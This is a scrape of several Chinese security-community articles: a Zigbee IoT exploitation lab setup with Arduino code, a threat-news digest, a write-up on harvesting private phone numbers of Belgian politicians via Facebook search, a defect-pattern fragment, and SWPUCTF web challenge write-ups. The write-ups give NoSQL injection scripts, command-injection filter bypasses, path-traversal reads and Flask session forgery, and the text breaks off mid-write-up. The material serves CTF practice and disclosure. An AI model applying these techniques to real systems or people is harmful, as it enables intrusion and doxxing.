原文地址：<http://blog.attify.com/2016/11/23/zigbee-security-exploitation-iot-devices/#>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：160RMB（不服你也来投稿啊！）**
********投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**** ****
**传送门**
[**【技术分享】物联网设备的固件分析技术** ****](http://bobao.360.cn/learning/detail/3250.html)
**
**
**前言**
目前，Zigbee已经成为智能家居和医疗设备中最流行的物联网无线电通信协议，本文将讨论它的安全性以及相关的物联网设备的利用技术。
**Zigbee简介**
Zigbee是在智能家居设备和其他物联网设备中最常见的通信协议之一。
由于Zigbee具备低功耗、网状网络和易用性的优势，所以日益成为制造商的首选。它是在IEEE
802.15.4的基础之上，由Zigbee联盟成员公司共同创建的一个开放协议，该联盟成员包括TI、Silicon
Labs、Philips等公司。Zigbee协议已经进行了多次迭代，当前版本是Zigbee 3.0。
**可能的攻击**
作为一种无线电通信协议，Zigbee同样免不了受到标准无线电协议的漏洞的影响。在使用Zigbee进行通信时，可能发生的攻击有：
1\. 攻击者能够嗅探传输的数据
2\. 捕获传输的数据后重放数据包，从而执行恶意动作
3\. 在初始通信期间嗅探加密密钥
4\. 修改捕获的数据包，然后重放
5\. 欺骗攻击
6\. 拒绝服务攻击
本文只是一个入门指南，介绍如何搭设利用Zigbee漏洞的实验环境和有关的基础知识，在后续文章中，我们将在此基础上进一步介绍上述每种类型的安全漏洞的利用技术。
**硬件要求**
在继续阅读下文之前，请不要忘了，这里介绍的硬件只是探索Zigbee安全性的可能硬件组合之一。实际上，有各种其他类型的硬件可资使用，例如我们既可以使用Zigbee开发套件，也可以使用商业IoT设备发射Zigbee信号等。
下面是一个供我们入门的简单配置：
1\. Arduino Uno/Nano
2\. DigiKey Xbee module / Arduino Xbee shield
3\. Atmel RzRaven USB stick
4\. Attify Badge
Arduino：Arduino已经在各种类型的电子项目中广为普及了。实际上，你很可能已经在大学或高中阶段早就用过它了。Nano是体积最小的Arduino
nano，但是对于本文的用途来说，它的功能已经足够了。
DigiKey Xbee module / Xbee Shield ：为了学习Zigbee，你需要一些可以发送和接收Zigbee信号的东西。
Xbee是一种全双工收发器，能够使用Zigbee标准协议与其他Xbee模块进行无线通信。
Atmel RzRaven USB
Stick：这是半双工模块，它能执行嗅探，并且可以将捕获的Zigbee数据包进行相应的修改后再次传输。如果你熟悉其他类型的无线电利用技术的话，可以将其视为“用于Zigbee的HackRF”。
Attify
Badge：您可以将其插到系统上，然后使用它和XCTU对Xbee模块进行编程。之所以这么做，是因为Xbee通常没有miniUSB或类似的端口，所以无法直接插入进行编程。如果您没有Attify
Badge或类似的硬件，可以通过亚马逊或您当地的商店购买一个用于Xbee的迷你USB套件，比如类似于页面<https://www.sparkfun.com/products/11812>中这样的套件。
用于Xbee的MiniUSB电路板
或者，你也可以通过邮件（[email protected]）方式购买 Attify BadgeAttify Badge。
利用Attify攻击物联网嵌入式设备
对于编程和硬件连接来说，使用它是最简单的方案，只需要连接下列引脚：power => power，Gnd =>
Gnd，Tx到Rx，Rx到Tx。如果需要的话，您可以进一步参考Xbee模块相应版本的说明书。
**对Arduino和Xbee进行编程**
**对Arduino进行编程**
要想对Arduino进行编程，只需从<https://www.arduino.cc/en/Main/Software>下载使用Arduino
IDE即可。加载后，可以从Attify的github库中逐一打开每个Arduino的Hub和Node程序。
代码本身提供了详细的内联注释，你可以通过注释来了解代码的含义。另外，提供的代码示例还可以通过传感器和DHT库来获取温度、湿度和光照值。它非常适合用于进行完整的分析，以及通过传输一个硬编码字符串进行攻击，而不是使用DHT值。此外，如果你想原封不动地使用这些代码的话，则需要购买DHT11和所需的其他附属设备。
所需工具
Arduino * 1 <https://www.sparkfun.com/products/11021>
DHT 11 * 1 <https://www.adafruit.com/product/386>
XBee S1模块（S2模块需要不同的配置）* 2 LDR / Photocell * 1
<https://www.sparkfun.com/products/9088>
BC547 * 1 <https://www.sparkfun.com/products/8928>
LED *任意数量<https://www.sparkfun.com/products/10635>
跳线<https://www.sparkfun.com/products/13870>
面包板<https://www.sparkfun.com/products/12046>
Xbee shield * 2 <https://www.sparkfun.com/products/128>
电路图
下面是我们的入门套件配置的电路图。
Node电路图：
Node电路图
Hub电路图：
Hub电路图
Node代码：
// Offensive IoT Exploitation by Attify
// www.attify.com | www.offensiveiotexploitation.com
// <span id="eeb-575002"></span><script type="text/javascript">(function(){var ml="k-CeFED2o0t%ylAfaismr.4ch3un",mi=";I2@;79HD3?;I6;77C@A=:8;I>B3GJD3;F9@::A?<EG8C;77;79;79G=@BB;I6;77C@A=:81=AK0;77;I5B3GJD3;F9@::A?<EG8C;I2;74@;I5",o="";for(var j=0,l=mi.length;j<l;j++){o+=ml.charAt(mi.charCodeAt(j)-48);}document.getElementById("eeb-575002").innerHTML = decodeURIComponent(o);}());</script><noscript>*protected email*</noscript>
#include <dht.h> //Library for DHT11 Humidity
#define dht_dpin A0 // DTH11 Data pin connected to AO of arduino
#define led 2 // Led connected to Pin D2
#define ldr A1 // LDR connected to Pin A1
dht DHT; // Creating DHT function
void setup() {
// initialize serial:
Serial.begin(2400); // Initiliaze Hardware serial for xbee
pinMode(2, OUTPUT); // Pin direction of LED to Output as it sends current
}
void loop() { // Continous loop
// if there's any serial available, read it:
DHT.read11(dht_dpin); // Reading DHT11 using the library
int lig = analogRead(ldr); // Reading analog values from LDR
int ligp = map(lig, 0, 1023, 0, 100); // Mapping the 10bit resolution ADC to 0 to 100
int h = DHT.humidity; // Humidity value
int t = DHT.temperature; // Temperature value
while (Serial.available() > 0) { // Checking for any data on Xbee
int red = Serial.parseInt(); // look for the next valid integer in the incoming serial stream
if (Serial.read() == '!') // Check if the next Serial data is '!'
{
if(red == 1) // if the recieved data is 1!
{
Serial.print(h,DEC); // Send humidity value with '!'
Serial.print("!");
}
else
if(red == 2) // if the recieved data is 2!
{
Serial.print(t,DEC); // Send Temperature value with '!'
Serial.print("!");
}
else
if(red == 3) // if the recieved data is 3!
{
Serial.print(ligp,DEC); // Send Light value with '!'
Serial.print("!");
}
else
if(red == 4) // if the recieved data is 4!
{
digitalWrite(2, HIGH); // Turn ON the LED
delay(100);
}
else if(red == 5) // if the recieved data is 5!
{
digitalWrite(2, LOW); //Turn OFF the LEd
delay(100);
Serial.print("!attify!"); // Send the AES key
}
}
}
}
Hub代码：
// Offensive IoT Exploitation by Attify
// www.attify.com | www.offensiveiotexploitation.com
// <span id="eeb-82412"></span><script type="text/javascript">(function(){var ml="ikruc-CFsA3En%mahD.2l04oyfte",mi="=:6?=CE@2KI=:A=CC>?0DJG=:98K432K=FE?JJ0IHB4G>=CC=CE=CE4D?88=:A=CC>?0DJG5D0<1=CC=:;8K432K=FE?JJ0IHB4G>=:6=C7?=:;",o="";for(var j=0,l=mi.length;j<l;j++){o+=ml.charAt(mi.charCodeAt(j)-48);}document.getElementById("eeb-82412").innerHTML = decodeURIComponent(o);}());</script><noscript>*protected email*</noscript>
#include <SoftwareSerial.h> // Software based UART port to use Zigbee module
int a = 1;
float hum = 0, temp = 0; // Float Variable to store Temperature and Humidity
SoftwareSerial xbee(3, 2); // RX, TX
void setup() //One time preloading function
{
Serial.begin(9600); // Hardware Serial initialization to be connected to a bluetooth module or PC
xbee.begin(2400); // Software Serial initialization at 2400 Baud rate to communicate with zigbee
}
void loop() // Continous loop
{
xbee.print(a); // Sends (a) with "!" to Xbee -> "1!" Requests temperature data and vice versa
xbee.println("!");
while(xbee.available() > 0) //Checks is any data has been recieved from zigbee.
{
char aChar = xbee.read(); //reading the value from the Xbee serial port
if(aChar == 33) //If the first character is 33 ie) ! in ASCII
{
xbee.flush(); // Clear the buffer and
aChar = NULL;
}
if(aChar >= 100) // If it is more than 100 or random ASCII character flush the data
{
xbee.flush();
aChar = NULL;
}
Serial.print(aChar); //Printing the Read value
}
if(a == 3) // if a = 3 create new line or end of one set of data transmission
{
Serial.println(); //New line print
}
else
{
Serial.print(","); // if a not 3 then add ","
}
if(a> 3) // after a > 3 print the AES encryted data to xbee
{
a =1; // initialize a = 1 back
xbee.print("!f+F8YW+9W3+Cg0S1NVBexycQxz32biWTmzVsxO48+fk=!");
}
delay(100); // Wait for few ms for this to happen
xbee.flush(); // flush any data in Xbee serial port
a=a+1; //Increment data
if(Serial.available()); // Check if any data is sent from Hardware serial port
{
int r = Serial.parseInt(); // Recieving any integer data
if(r== 1) // if recieved data is 1. Send 4! which turns the LED on the Node.
{
xbee.print(4);
xbee.print("!");
delay(100);
}
if(r== 2)// if recieved data is 2. Send 5! which turns the LED off the Node.
{
xbee.print(5);
xbee.print("!");
}
}
}
一旦完成了这两个Arduino的编程工作，下一步就是使用XCTU来配置Xbees。
**对Xbee进行编程**
启动XCTU并单击Discover
Radio模块，这时将显示已插入设备的可用COM端口的列表。然后，选择与Xbee模块对应的COM端口（如果您不太确定，就全部选上）。
其他配置总是8N1、8个数据位、无奇偶校验位和1个停止位。 此外，您还需要为给定的Xbee模块指定波特率。
如果您不知道模块使用的波特率，您可以给模块选择所有波特率，XCTU将扫描所有波特率并为您找到正确的波特率。
结束模块的搜索后，点击Finish，它就能识别出该设备。 单击Add the Device。
利用XCTU识别出的设备
在这一步中，您将看到设备的各种属性，例如信道名称和PAN
ID，这两个属性对于我们来说非常重要。在Zigbee中，每个频带总共有16个信道，每个信道间隔5MHz，2MHz的带宽用于无噪声数据传输。我们可以从<http://www.digi.com/wiki/developer/index.php/Channels>,_Zigbee找到所有Zigbee通道的清单。
Zigbee网络的PAN ID是唯一的标识符，其对于该网络上的所有设备都是相同的。我们可以将信道名称和PAN
ID配置为任何特定的值，只需要确保其他Xbee也使用相同的信道名称和PAN ID即可。
XCTU中显示的Xbee属性
**后记**
到此为止，我们一家搭建好了Zigbee的漏洞实验环境。在将来的Zigbee安全文章中，我们将在这个实验平台上面介绍各种利用技术，包括控制商业设备发射Zigbee信号等。
**传送门**
* * *
[**【技术分享】物联网设备的固件分析技术** ****](http://bobao.360.cn/learning/detail/3250.html) | 社区文章 |
# 1月14日安全热点–本周威胁汇总/CVE-2017-3737 openssl漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Talos团队发布的本周威胁汇总
<http://blog.talosintelligence.com/2018/01/threat-round-up-0105-0512.html>
667个Apple钓鱼网站（JSON格式）
<https://pastebin.com/34CS2Dj1>
## 技术类
推特网友@raphael_scarv 称他能够利用meltdown漏洞有效地从其他进程读取非缓存的数据。但他表示不会公布细节。
<https://twitter.com/raphael_scarv/status/952078140028964864>
您的浏览器不支持video标签
OpenSSL SSL Handshake Error State Security Bypass (CVE-2017-3737)漏洞的分析
<https://blog.fortinet.com/2018/01/12/an-analysis-of-the-openssl-ssl-handshake-error-state-security-bypass-cve-2017-3737>
DVAR – Damn Vulnerable ARM Router
DVAR是一个模拟的基于Linux的ARM路由器，运行着易受攻击的Web服务器
下载：<http://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html>
可与 <https://azeria-labs.com/> 教程配套学习
对PowerStager的分析
<https://researchcenter.paloaltonetworks.com/2018/01/unit42-powerstager-analysis/>
关于PowerStager的介绍
<https://github.com/z0noxz/powerstager>
DNSFS：真正的云存储！ 将您的文件存储在其他人的DNS缓存中！
<https://blog.benjojo.co.uk/post/dns-filesystem-true-cloud-storage-dnsfs>
从32位的loader使用RunPE注入到64位进程中的挖矿工具分析
<https://secrary.com/ReversingMalware/CoinMiner/>
样本：<https://www.virustotal.com/en/file/98199294da32f418964fde49d623aadb795d783640b208b9dd9ad08dcac55fd5/analysis/>
Windows内核利用教程Part 3：任意内存覆盖（Write-What-Where）
<https://www.exploit-db.com/docs/english/43527-windows-kernel-exploitation-tutorial-part-3-arbitrary-memory-overwrite-(write-what-where).pdf>
iOS 11.0 – 11.1.2基于async_awake的越狱工具包
<https://github.com/coolstar/electra>
利用Weblogic漏洞(CVE-2017-10271)挖矿行动相关脚本
<https://pastebin.com/ctisSMcY>
<https://pastebin.com/nTnujW8b>
Mobile App Flaws of SCADA ICS Systems Could Allow Hackers To Target Critical
Infrastructe
<http://securityaffairs.co/wordpress/67701/iot/scada-mobile-security.html>
<http://blog.ioactive.com/2018/01/scada-and-mobile-security-in-iot-era.html>
对”Finnish themed” Twitter僵尸网络的进一步分析
<https://labsblog.f-secure.com/2018/01/12/further-analysis-of-the-finnish-themed-twitter-botnet/>
之前的分析：
<https://labsblog.f-secure.com/2018/01/11/someone-is-building-a-finnish-themed-twitter-botnet/>
phpCollab 2.5.1未授权文件上传漏洞
<https://cxsecurity.com/issue/WLB-2018010117> | 社区文章 |
# 【技术分享】看我如何通过Facebook拿到你的私人手机号
##### 译文声明
本文是翻译文章，文章来源：hackernoon.com
原文地址：<https://hackernoon.com/how-i-got-your-phone-number-through-facebook-223b769cccf1#.wyrbj0u5h>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
上个月，我发现通过Facebook来获取他人的私人电话号码其实非常的简单，在研究的过程中，我发现了一些比利时明星和政治家的电话号码，虽然我所使用的这种方法似乎只能在类似比利时这样的小型国家（1120万人左右）奏效，但这也表明，这种简单且高效的攻击方法仍然会让大量用户的隐私信息发生泄漏。
注：如果你没时间阅读整篇文章的话，你也可以直接阅读本文结尾“常见问题解答”那一块内容，那里也许有你想要的东西。
**验证我所发现的电话号码**
但是当我将我的研究发现告知了Facebook安全团队的技术人员之后，他们给我的答复不免有些让人大跌眼镜。
根据Facebook的回复，他们并不认为这是一个安全问题
当“who can look me up by
phone（通过手机号码查找到我）”这个选项被设置为“公开”时，你的电话号码就会被Facebook公开。这里还有几个问题：首先，这个选项在默认情况下为“public（公开）”；其次，即使你将个人资料中的电话号码设置为“only
me（仅对自己），而在你将“通过手机号码查找到我”设置为“公开”之后，你个人资料中的“only
me”设置便会失效。很多用户可能会认为自己的电话号码他人是看不见的，而事实并非如此。”
这个设置只能决定你的电话号码是否会出现在个人资料中，而你的电话号码是否会被公开其实跟这个设置没多大关系。
如果这里设置成了“Everyone（所有人）”，即默认值，那么你的电话号码就会被公开。
“Who can look me
up（谁可以查找到我）”这个选项的设置说明意味着能够查找到你的人已经知道你的电话号码了，也就是说他人可以根据你的电话号码查看到你的Facebook个人资料，而这里根本就没有“only
me”这个选项。
如果你的Facebook绑定了手机号，那么你就没有任何办法来隐藏自己的手机号码了，无论你怎样做，你的“朋友”都能够看到你的号码
然而，当我将我的担忧告诉了Facebook的安全团队之后，他们仍然不打算修复这个问题。虽然我不敢苟同，但我仍然尊重他们的决定。因此，我才打算发表这篇文章，因为用户有权知道一切。
很多用户甚至根本不知道Facebook有他们的电话号码，虽然Facebook不能直接从你的手机中提取出电话号码，但是Facebook会不断地提醒用户绑定手机号，说是为了方便登录和密码找回。当我的一位同事得知此事之后便立刻取消了Facebook的手机号绑定，但是Facebook又会立刻让他重新绑定。
绑定手机，将你的号码与全世界共享…
**实现方式**
我的这项技术需要使用到Graph Search， Graph
Search是Facebook在2013年初推出的一款社交搜索工具，当你在搜索框中输入一个手机号码之后，你便会搜索到相应的用户：
这是我找到的一个比利时明星的手机号
如果要一个一个地去测试这些手机号的话，可能需要花好几个月的时间，而这也不太现实。而且Facebook对用户的查询次数也有很大的限制，当你进行了一千次左右的用户查询之后Facebook将会暂时禁止你使用这项功能。当然了，你也可以使用僵尸网络来验证Facebook账号，但是我感觉Facebook同样也有相应的应对策略。
**第一步：最后两个数字（1分钟）**
我需要设计出一种能够一次性测试上千个手机号码的方法，需要测试的号码位数越少，拿到完整号码的速度也就越快。为了获取到目标号码的最后两位数，我可以使用Facebook的密码重置功能：
Facebook将比利时内政部长的手机号最后两位显示了出来
**第二步：运营商号码（5-35分钟）**
先来看看这个号码：04PPXXXX50（只有40万种可能的组合）。这是一个典型的比利时手机号码，其中X为0-10的任意一个数字，PP为运营商号码，最后的两个数字5和0是我们在上一步得到的。
不同的移动电话运营商都有自己固定的运营商号码，例如0468、047、048和049：
某些运营商号码的使用频率会比较高，而政府的人往往使用的是047号段，因为Proximus是政府的通讯服务赞助商。因此，我专门写了一个程序来枚举出所有可能的电话号码组合，比如说我们从0479开始：
一秒钟不到程序就生成了所有的10000种号码组合
然后将这个号码列表导入Facebook的“find friends（好友查找）”功能中，此时我们查找到了好多名叫“Jan”的人，但他们都不是我要找的人。
不用管“500” 那个数字，你其实已经导入了所有的号码
在尝试了0478号段之后还是没有找到我们的目标，所以我得换一个账号了，因为Facebook只允许一个账号在短时间内导入20000个通讯号码。于是我登录了另一个测试账号，这一次我选择的是0477号段：
0477，就是它了！
这一次，我们查到了运营商号码，即0477。
现在的号码为：0477XXXX50，所以内政部长的手机号就在这剩下的10000个手机号码中。
**第三步：缩小范围（10-15分钟）**
接下来的任务就是完成一些简单的数学计算了。我们只剩下10000个可能的手机号码需要处理，所以我们先测试其中的一半号码，这样就可以缩小我们的目标所在范围了，比如说我们先测试0477
0000 50 — 0477 5000 50。
成功找到目标！
看来我们选择的号码范围没有错，这也就意味着目标号码的第五个数字只能是0、1、2、3或4，总共只剩下5000种可能（0000-5000）。接下来，我们再把这5000个号码平分成两部分来进行测试。先测试0477
0000 50 – 0477 2500 50。
没有找到目标
目标号码不在0000-2500这个区间，说明这个手机号码在2500-5000这个区间。我们还剩2500种可能，然后还是跟之前一样，将剩下的号码平分成两部分，则剩下的待测号码个数即为1250、750、325、162和81个，最终我们只剩下40个号码。我们可以继续进行这样的测试，然后将剩下的号码范围缩小到5个以内。当然了，如果只剩下50个号码的话，你也可以直接单独去测试每一个号码。
**第四步：最后的倒计时（1分钟）**
如果只剩下40个可能的手机号，那么我们就可以直接将它们输入到搜索框中来查看结果了。
手动查找，直到找出目标
**后话**
我已经将此事告知了内政部长，而他在声明中说到：他其实并不知道Facebook泄漏了他的手机号码，但是他个人对此并不是很介意。
此外，我们还与当地的一家电台合作并在电台直播过程中拨打了一位比利时名人的电话，然后告知他我在Facebook上找出了他的电话号码。我们当时聊得挺开心，随后他便立刻删除了Facebook上的电话号码。
**常见问题解答**
**1\. 发生了什么？**
对于小型国家来说，通过Facebook来查找目标用户的电话号码相对来说是比较容易的。无论“who can look me up by
phone（通过手机号码查找到我）”是否设置为了“public（公开）”，你的手机号码都会是公开的，而该选项的默认配置就是“public”。Facebook没有提供任何的措施来防止用户的手机号码发生泄漏，仅仅将你的手机号码设置为“only
me（仅对自己）”其实并没有什么用。
**2\. 谁会受到影响？**
小型国家的Facebook用户如果将手机号码添加到了Facebook资料中，且没有修改默认配置的话，他就会受此影响。如果你的手机号码低于十位数，而通信运营商号码位数有限，那么这种方法就可以成功。
3\. 如何得知Facebook是否有我的电话号码？
点击[这里](https://www.facebook.com/settings?tab=mobile)查看
**4\. 我如何测试自己是否受其影响？**
首先，确定Facebook是否知道你的手机号码，具体方法请参阅问题3。然后点击[这里](https://www.facebook.com/settings?tab=privacy)，检查“who
can look me up by
phone（通过手机号码查找到我）”是否设置成了“Public”。如果设置为“Friends”，那么就只有朋友可以通过手机号码查看到你的个人资料，而且这里没有“Only
me”这种选项。
**5\. Facebook应该怎样做？**
很多用户其实根本就不知道自己的手机号码会通过这种方式发生泄漏，而这却是Facebook的一种默认行为，而这也是目前最大的问题所在。如果Facebook能够在“who
can look me up by phone（通过手机号码查找到我）”设置中添加一个“Only
me”选项的话，也许问题就没那么严重了。如果用户在非常用设备登录时，Facebook也可以隐藏密码重置功能中的手机号码后两位。除此之外，Facebook也应该限制用户在“好友查找”功能中可导入的号码数量。
**6\. 我是否应该移除Facebook上的手机号码？**
这就很尴尬了，因为双因素身份验证功能需要使用手机号码，而这也是保护账号安全的一种绝佳方法，所以你还是将“who can look me up by
phone（通过手机号码查找到我）”设置为“only friends（仅对好友）”吧。 | 社区文章 |
# 【缺陷周话】第35期：除数为零
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。### 3.1缺陷代码
在上述示例代码中，第28行使用 fscanf() 函数从标准输入流中读取数据并存放在 data
中，这个输入来自不可信源，值可能为0，当在30行进行“/”运算时，存在“除数为零”问题。
使用代码卫士对上述示例代码进行检测，可以检出“除数为零”缺陷，显示等级为高。如图1所示：
图1：除数为零的检测示例
### 3.2 修复代码
在上述修复代码中，Samate给出的修复方式为：在第31行通过 if() 语句对 data 是否为0进行判断，当 data
不为0时，进行“/”运算。从而避免了除数为零。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“除数为零”缺陷。如图2：
图2：修复后检测结果
## 4、 如何避免除数为零
在进行除法运算时，需要对除数是否为0进行判断，尤其是当除数来自于不可信数据源、复杂运算、又或者是函数返回值时，需格外留意是否存在除数为零的错误。 | 社区文章 |
# 第九届SWPUCTF官方writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
平台地址：<https://swpuctf.club>
感谢各位师傅能在工作上课之余抽出时间来玩，我们也希望这次比赛各位师傅玩得开心，但可能由于我们水平有限，资金支持有限，不能给各位师傅最好的体验，打比赛不易，办比赛也不易，希望各位师傅多多谅解
## WEB
### 用优惠码 买个 X ?
这道题难度不大(从各位师傅的做题速度就可以看出来 笑哭~)
但还是给有需要的师傅说一下我的思路
#### 第一个random.php页面 php伪随机数
初始时给一个15位的优惠码 但需要你输入24位的优惠码才行
通过对目录扫描 发现www.zip 这里存在生成优惠码的源码和第二个页面的源码
通过现有优惠码和对源码进行反推 获得生成的随机数 然后拿着这些随机数进行种子爆破
可以使用php_mt_seed这款工具进行爆破 但是需要一定的格式 我附上我写的代码
<?php
$str = 'MiFgJ3paOh6LjrY';
$randstr = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len=15;
for($i=0;$i<$len;$i++){
if($i<=($len/2)){
$pos = strpos($randstr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randstr)-1)." ";
}
else{
$pos = strpos($randstr,$str[$i],-0);
echo (strlen($randstr))-$pos;
echo " ";
echo (strlen($randstr))-$pos;
echo " ";
echo "0 ";
echo (strlen($randstr)-1);
echo " ";
}
}
echo "n";
?>
再用php_mt_seed爆破:
`./share/php_mt_seed-4.0/php_mt_seed `php create_seed.php` `
我电脑大概10多秒就爆出来了
然后再改下我的源码 把 len改成24 再手动播种 即可获得24位的优惠码
> **注意:** 这里有坑点的 有些师傅不慎就踩进去了(笑哭~) php版本不同，同一种子生成的随机数序列不一样，
> 就算是php7.0和php7.2都有区别 我的php版本是7.2.9-1(从响应包中能看见)
所以用php7.2的执行生成优惠码的php脚本 就能获取到优惠码
#### 然后进入到第二个页面-绕过
第一层绕过是因为m修饰符
**php官方的解释:**
> 当这个修饰符设置之后，“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后，另外， 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl
> 的 /m 修饰符。如果目标字符串 中没有 “n” 字符，或者模式中没有出现 ^ 或 $，设置这个修饰符不产生任何影响。
也就是说 ^和$会匹配 字符串中n之前和之后，也会匹配整个字符串的开始和结尾，但是只要匹配到一个就会返回正确
所以可以通过%0a来绕过
下一层绕过 就简单了
要想读到/flag中的内容 但是flag字符串也被过滤了
可以以通过 f’la’g 或f[l][a]g等来绕过
最终payload就类似于 127.0.0.1%0ac’a’t /f’la’g
至此,结束
### injection ???
如题，这是一道注入题，但并没有说这是`sql注入题`，比赛过程中看了下日志，不少师傅一来就先入为主了，各种sql注入的payload，题本身没啥难度，只要发现这是`Nosql注入`，就很简单了，其次就是验证码的问题，这个可以用python3的pytesseract库识别，当然也可以手工注入，这一点有些影响各位师傅的做题体验(
~~已被队友暴打~~ )
题目很简单就一个页面，登录框，F12查看页面源码：
被注释了一行tips：
<!-- tips:info.php -->
访问`info.php`是一个phpinfo页面，仔细观察重点在phpinfo里的扩展：
很直观，php开启了mongo扩展，大胆猜测是mongodb注入，尝试构造payload:
http://123.206.213.66:45678/check.php?username[$ne]=xxx&password[$ne]=xxx&vertify=xxxx
返回提示`Nice!But it is not the real
passwd`，可以确定就是nosql注入了，那就很好办了，拿到正确密码，这里可以通过mongodb的条件操作符`$regex`来用正则匹配达到类似sql盲注逐字符猜解的效果，最终payload:
http://123.206.213.66:45678/check.php?username[$ne]=xxx&password[$regex]=^xxx&vertify=xxxx
以下是`4uuu Nya`师傅的脚本
import pytesseract
from PIL import Image
import requests
import os
import string
password = ''
string_list = string.ascii_letters + string.digits
s = requests.Session()
for i in range(32):
for j in string_list:
res = s.get('http://123.206.213.66:45678/vertify.php')
image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
with open(image_name, 'wb') as file:
file.write(res.content)
image = Image.open(image_name)
code = pytesseract.image_to_string(image)
res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
while ('CAPTCHA' in res.content):
res = s.get('http://123.206.213.66:45678/vertify.php')
image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
with open(image_name, 'wb') as file:
file.write(res.content)
image = Image.open(image_name)
code = pytesseract.image_to_string(image)
res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
print password+j,res.content
if 'Nice!But it is not the real passwd' in res.content:
password += j
print password
break
elif 'username or password incorrect' in res.content:
continue
print passwd
### 皇家线上赌场
查看首页源码，可以看到 `/static?file=test.js` 和 `/source`：
访问 `/source` ，可以看到项目结构，和一段python源码，从目录结构推测出是flask，并且题目应该是读源码：
而正好前面还有一个 `/static?file=` 的路由，因此得出应该从这里来读取文件，再看 `/source` 中的代码，
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)
以及tip给的
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)
不能使用 .. 并且会把文件名拼接到 `app/static` 后面，
这里利用到 `os.path.join` 函数的一个特性，
参数中的绝对路径参数前面的所有参数会被忽略，看例子：
通过maps文件 `/proc/self/maps` 看到web路径
尝试读取源码 `/home/ctf/web_assli3fasdf/app/views.py`
，报404，这里有点脑洞，我把路径转换成了绝对路径并做了一个过滤，禁止直接访问文件，因此需要进行绕过，这里用到了 `/proc/self/cwd`
目录，这个目录指向了当前进程的工作路径，而我在前面给了一个 `os.path.join('app/static', filename)`
，由此可知当前路径就是源码所在目录，因此构造访问 `/static?file=/proc/self/cwd/app/views.py` ，成功读到文件：
在 **init**.py 中发现密钥，结合泄露出来的代码，那就是伪造session了，将 username 改为 admin，这样我的账号信息就会成为
admin ，每次请求就会把 admin 的账户余额读出来，然后去购买页面随意买一个东西，余额就会刷新
chg_session.py :
from flask.sessions import SecureCookieSessionInterface
class App(object):
secret_key = '9f516783b42730b7888008dd5c15fe66'
s = SecureCookieSessionInterface().get_signing_serializer(App())
u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8')
u['username'] = 'admin'
print(s.dumps(u))
成功变身为admin
点击admin处，出现获取flag的按钮，点击弹框显示一段json数据
用burp抓包，可以看到filed字段为username，读一下前面获取的源码可知，这是python的format函数的问题，而且在
`before_request` 函数中有个 `g.flag = xxxxxxxxx` ，那就是需要通过format将flag读取出来
这里有两种方法，我本意是通过对flask的了解，进行跳转，最终读取到flag变量，但是还有一种万能解法，就是写脚本进行遍历，直到找到flag变量。这里我只说一下第一种，第二种我就不写脚本了，有兴趣可以写一下，在沙盒逃逸也可以用。
从前面读到的 `__init__.py` 文件可以清楚地知道使用了flask_sqlalchemy
首先看一下flask源码：
`flask/__init__.py`
from .app import Flask, Request, Response
from .config import Config
from .helpers import url_for, flash, send_file, send_from_directory,
get_flashed_messages, get_template_attribute, make_response, safe_join,
stream_with_context
from .globals import current_app, g, request, session, _request_ctx_stack,
_app_ctx_stack
`flask_sqlalchemy/__init__.py`
from flask import _app_ctx_stack, abort, current_app, request
可以看到app、g、current_app在同一个空间下面，而current_app和SQLAlchemy在同一空间中，因此只要读到current_app变量，那么g变量也就读到了。
再来看一下`__init__.py`的源码：
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = 'anUEALvo7fV3KdwwiEYd'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
register_views(app)
db.init_app(app)
return app
可以看到db变量，这是一个SQLAlchemy的实例，format中传入的第二个变量u是User的实例，我们可以通过u的一个方法访问models.py这个空间的db变量，这里我给了一个提示
“save方法”，那是因为User类没有定义`__init__`方法，而是继承自`db.Model`，因此不能访问到db变量。看到这里就很清晰了，构造出
`field=save.__globals__[db].__init__.__globals__.current_app.route.__globals__[g].flag`
即可打出flag
（这里的payload有很多，可以根据源码来构造比如使用BaseQuery也可以：`field=query.get_or_404.__globals__[current_app].route.__globals__[g].flag`）
### SimplePHP
题目地址：<http://120.79.158.180:11115/index.php>
这道题的主要考察点是：
* 今年8月份爆出的：[利用phar拓展php反序列化攻击面](https://paper.seebug.org/680/)。
* pop链的构造
### 题目描述
题目页面如下:
经过测试得知，网站具有如下两个功能：
* upload_file.php处`上传文件`
* file.php处`查看文件源码`
文件上传位置在：`upload_file.php`
查看相关源码在: `file.php`
#### 题目主要代码
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
